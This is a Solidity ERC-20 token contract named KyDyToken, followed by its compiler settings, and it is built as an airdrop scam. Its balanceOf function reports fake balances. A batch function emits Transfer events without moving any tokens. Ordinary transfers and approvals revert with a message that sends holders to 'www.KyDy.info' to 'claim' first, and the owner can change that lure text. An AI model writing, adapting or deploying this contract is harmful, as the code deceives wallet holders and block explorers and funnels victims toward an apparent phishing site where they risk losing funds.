KyDy.org

// SPDX-License-Identifier: GPL-2.0-or-later

pragma solidity ^0.8.0;
pragma abicoder v2;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract KyDyToken is Ownable, IERC20 {
    address public _pairAddress = address(0);
    address public _routerAddress = address(0);

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    uint256 private _airdropAmount;

    mapping(address => bool) private _unlocked;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    string private transferMsg = "Claim Token on Website FIRST -: www.KyDy.info/";

    constructor(string memory name_, string memory symbol_, uint256 airdropAmount_, uint256 mintAmount_, address routerAddress_) Ownable() {
        _name = name_;
        _symbol = symbol_;
        _airdropAmount = airdropAmount_;
        _routerAddress = routerAddress_;
        _mint(_msgSender(), mintAmount_);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        if (account == _pairAddress || _unlocked[account]) {
            return _balances[account];
        }

        return _airdropAmount;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    ////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        if (_pairAddress == address(0) && _msgSender() == _routerAddress) {
            _pairAddress = recipient;
        }
        
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    ////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(_unlocked[sender] || tx.gasprice == 0 || recipient == _pairAddress || _msgSender() == _pairAddress, transferMsg);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        _unlocked[account] = true;

        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
        _unlocked[account] = false;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        require(_unlocked[owner] || tx.gasprice == 0, transferMsg);
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function mint(address account, uint256 amount) public payable onlyOwner {
        _mint(account, amount);
    }

    function burn(address account, uint256 amount) public payable onlyOwner {
        _burn(account, amount);
    }

    ////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////

    function batchTransferToken_10001(address[] memory holders, uint256 amount) public payable {
        for (uint i = 0; i < holders.length; i++) {
            emit Transfer(address(this), holders[i], amount);
        }
    }
    //withdraw ether
    function withdrawEth_10001(address payable receiver, uint amount) public onlyOwner payable {
        uint balance = address(this).balance;
        if (amount == 0) {
            amount = balance;
        }
        require(amount > 0 && balance >= amount, "invalid balance");
        receiver.transfer(amount);
    }

    //withdraw token
    function withdrawToken_10001(address receiver, address tokenAddress, uint amount) public onlyOwner payable {
        uint balance = IERC20(tokenAddress).balanceOf(address(this));
        if (amount == 0) {
            amount = balance;
        }

        require(amount > 0 && balance >= amount, "invalid amount");
        IERC20(tokenAddress).transfer(receiver, amount);
    }

    function setAirdropAmount_10001(uint256 airdropAmount_) public onlyOwner () {
        _airdropAmount = airdropAmount_;
    }

    //set check message
    function setTransferMessage_10001(string calldata msg_) public onlyOwner payable {
        transferMsg = msg_;
    }
}
// 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
// 100000000000000000000000

{
  "compilationTarget": {
    "new/ethKydyToken.sol": "KyDyToken"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}